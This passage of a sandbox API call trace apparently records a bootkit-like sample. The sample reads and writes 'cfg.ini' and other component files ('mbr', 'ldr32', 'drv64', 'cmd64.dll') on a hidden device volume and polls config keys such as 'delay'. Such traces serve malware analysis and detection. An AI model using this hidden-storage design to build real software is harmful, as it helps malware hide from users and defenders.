MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.207] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.207] IdePortDispatch () returned 0x103 [0129.207] KeWaitForMutexObject () returned 0x0 [0129.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.207] KeLeaveCriticalRegion () [0129.207] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.208] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.208] KeEnterCriticalRegion () [0129.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] KeLeaveCriticalRegion () [0129.208] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.208] KeEnterCriticalRegion () [0129.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.208] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02ce0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] KeLeaveCriticalRegion () [0129.208] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.208] KeEnterCriticalRegion () [0129.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] KeLeaveCriticalRegion () [0129.208] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.208] ReleaseMutex (hMutex=0xf0) returned 1 [0129.208] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.208] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.208] KeEnterCriticalRegion () [0129.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.208] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.208] IdePortDispatch () returned 0x103 [0129.209] KeWaitForMutexObject () returned 0x0 [0129.209] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.209] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.209] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.209] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.209] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.209] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c10 [0129.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.209] KeLeaveCriticalRegion () [0129.209] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.209] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.209] KeEnterCriticalRegion () [0129.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.209] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.209] KeLeaveCriticalRegion () [0129.209] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.209] KeEnterCriticalRegion () [0129.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.209] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.209] IdePortDispatch () returned 0x103 [0129.209] KeWaitForMutexObject () returned 0x0 [0129.209] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.210] KeLeaveCriticalRegion () [0129.210] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.210] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.210] KeEnterCriticalRegion () [0129.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.210] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb6000 [0129.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.210] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.210] IdePortDispatch () returned 0x103 [0129.210] KeWaitForMutexObject () returned 0x0 [0129.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.210] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.210] IdePortDispatch () returned 0x103 [0129.210] KeWaitForMutexObject () returned 0x0 [0129.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.210] KeLeaveCriticalRegion () [0129.210] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.211] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.211] KeEnterCriticalRegion () [0129.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.211] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.211] KeLeaveCriticalRegion () [0129.211] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.211] KeEnterCriticalRegion () [0129.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.211] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.211] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.211] KeLeaveCriticalRegion () [0129.211] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.211] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.211] KeEnterCriticalRegion () [0129.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.211] ExFreePoolWithTag (P=0xfffffa800c4f7c10, Tag=0x0) [0129.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.211] KeLeaveCriticalRegion () [0129.211] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.211] ReleaseMutex (hMutex=0xf0) returned 1 [0129.211] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.211] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.212] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.212] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.212] KeEnterCriticalRegion () [0129.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.212] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.212] IdePortDispatch () returned 0x103 [0129.212] KeWaitForMutexObject () returned 0x0 [0129.212] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.212] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.212] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.212] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.212] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.212] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.212] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.212] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.212] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.212] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.212] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.212] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.212] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.212] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.212] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.212] KeLeaveCriticalRegion () [0129.212] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.212] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.212] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.212] KeEnterCriticalRegion () [0129.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.213] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.213] IdePortDispatch () returned 0x103 [0129.213] KeWaitForMutexObject () returned 0x0 [0129.213] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.213] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.213] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.213] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.213] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.213] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.213] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.213] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.213] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.213] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.213] KeLeaveCriticalRegion () [0129.213] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.213] ReleaseMutex (hMutex=0x100) returned 1 [0129.213] Sleep (dwMilliseconds=0x2bf20) [0129.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7036b4f0, dwHighDateTime=0x1d24fa4)) [0129.220] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.220] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.220] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.220] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.220] KeEnterCriticalRegion () [0129.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.221] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.221] IdePortDispatch () returned 0x103 [0129.221] KeWaitForMutexObject () returned 0x0 [0129.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.221] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.221] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.221] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.221] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.221] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04fb0 [0129.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.221] KeLeaveCriticalRegion () [0129.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.221] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.221] KeEnterCriticalRegion () [0129.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.221] KeLeaveCriticalRegion () [0129.221] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.221] KeEnterCriticalRegion () [0129.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.221] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.221] IdePortDispatch () returned 0x103 [0129.221] KeWaitForMutexObject () returned 0x0 [0129.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.222] KeLeaveCriticalRegion () [0129.222] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.222] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.222] KeEnterCriticalRegion () [0129.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.222] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb9000 [0129.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.222] IdePortDispatch () returned 0x103 [0129.222] KeWaitForMutexObject () returned 0x0 [0129.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.222] IdePortDispatch () returned 0x103 [0129.223] KeWaitForMutexObject () returned 0x0 [0129.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.223] KeLeaveCriticalRegion () [0129.223] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.224] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.224] KeEnterCriticalRegion () [0129.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] KeLeaveCriticalRegion () [0129.224] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.224] KeEnterCriticalRegion () [0129.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.224] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] KeLeaveCriticalRegion () [0129.224] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.224] KeEnterCriticalRegion () [0129.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] ExFreePoolWithTag (P=0xfffffa8003c04fb0, Tag=0x0) [0129.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] KeLeaveCriticalRegion () [0129.224] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.224] ReleaseMutex (hMutex=0xf0) returned 1 [0129.224] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.224] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.224] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.224] KeEnterCriticalRegion () [0129.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.224] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.224] IdePortDispatch () returned 0x103 [0129.225] KeWaitForMutexObject () returned 0x0 [0129.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.225] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.225] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.225] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.225] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.225] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c10 [0129.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.225] KeLeaveCriticalRegion () [0129.225] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.225] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.225] KeEnterCriticalRegion () [0129.225] 